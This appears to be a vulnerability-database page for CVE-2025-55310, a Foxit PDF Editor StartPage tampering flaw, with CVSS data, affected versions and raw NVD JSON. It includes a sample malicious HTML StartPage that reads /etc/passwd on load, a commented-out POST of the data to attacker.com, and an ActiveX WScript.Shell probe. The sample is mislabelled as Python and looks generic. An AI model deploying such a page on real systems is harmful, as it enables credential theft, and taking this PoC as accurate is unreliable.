CVE-2025-55310

Description

An issue was discovered in Foxit PDF and Editor for Windows and macOS before 13.2 and 2025 before 2025.2. An attacker able to alter or replace the static HTML files used by the StartPage feature can cause the application to load malicious or compromised content upon startup. This may result in information disclosure, unauthorized data access, or other security impacts.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:foxit:pdf_editor:2025.1.0.66692:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:foxit:pdf_editor:2025.1.0.27937:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Foxit PDF Editor for Windows < 13.2

Foxit PDF Editor for macOS < 13.2

Foxit PDF Editor 2025 (Windows) < 2025.2

Foxit PDF Editor 2025 (macOS) < 2025.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2025-55310: Malicious HTML file to replace StartPage content -->
<!DOCTYPE html>
<html>
<head>
    <title>Foxit PDF Editor - Malicious StartPage</title>
    <script>
        // Malicious JavaScript code for CVE-2025-55310 PoC
        // This demonstrates the StartPage file tampering vulnerability
        
        // Exfiltrate sensitive information
        function exfiltrateData() {
            // Attempt to read local files via file:// protocol
            fetch('file:///etc/passwd')
                .then(response => response.text())
                .then(data => {
                    console.log('Sensitive data found:', data);
                    // Send data to attacker-controlled server
                    // fetch('https://attacker.com/exfiltrate', {method: 'POST', body: data});
                })
                .catch(err => console.log('File access blocked or not found'));
            
            // Attempt to execute commands via ActiveXObject (Windows)
            if (window.ActiveXObject) {
                try {
                    var shell = new ActiveXObject('WScript.Shell');
                    // shell.Run('malicious_command');
                    console.log('ActiveX available - potential command execution');
                } catch (e) {
                    console.log('ActiveX execution blocked');
                }
            }
        }
        
        // Execute on page load
        window.onload = function() {
            console.log('[CVE-2025-55310 PoC] Malicious StartPage loaded');
            exfiltrateData();
            // Additional malicious activities can be added here
        };
    </script>
</head>
<body>
    <h1>Foxit PDF Editor</h1>
    <p>Loading...</p>
    <!-- Hidden malicious content -->
    <div style="display:none;">
        <p>This page has been tampered with (CVE-2025-55310)</p>
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-55310
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-55310
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-55310/
[4] VulDB https://vuldb.com/cve/CVE-2025-55310
[5] https://www.foxit.com/support/security-bulletins.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-55310", "sourceIdentifier": "[email protected]", "published": "2025-12-11T16:16:25.390", "lastModified": "2025-12-18T21:41:21.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Foxit PDF and Editor for Windows and macOS before 13.2 and 2025 before 2025.2. An attacker able to alter or replace the static HTML files used by the StartPage feature can cause the application to load malicious or compromised content upon startup. This may result in information disclosure, unauthorized data access, or other security impacts."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-494"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.1.7.63027", "matchCriteriaId": "D4EDFD47-2811-431C-8535-91EE4090A9A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.55583", "versionEndIncluding": "2023.3.0.63083", "matchCriteriaId": "D8785CCE-C44C-4908-9133-13A580D5BECB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.63682", "versionEndIncluding": "2024.4.1.66479", "matchCriteriaId": "CF043D20-0E28-481C-8756-D1301FAE67D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.1.0.66692:*:*:*:*:*:*:*", "matchCriteriaId": "E0FF839F-37E7-4AFA-85B1-FC98366B14E8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.1.0.66692", "matchCriteriaId": "6520861F-4458-4E63-AA62-CF3096AE0C41"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.1.7.23637", "matchCriteriaId": "F900FF8A-7BFA-442E-BC8C-5A3717961DD5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:2025.1.0.27937:*:*:*:*:*:*:*", "matchCriteriaId": "9FDC914F-B999-4233-8BEA-CA20B1F0D9D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.1.0.27937", "matchCriteriaId": "DB827B5A-9957-43B2-A633-EF5442A2EF35"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}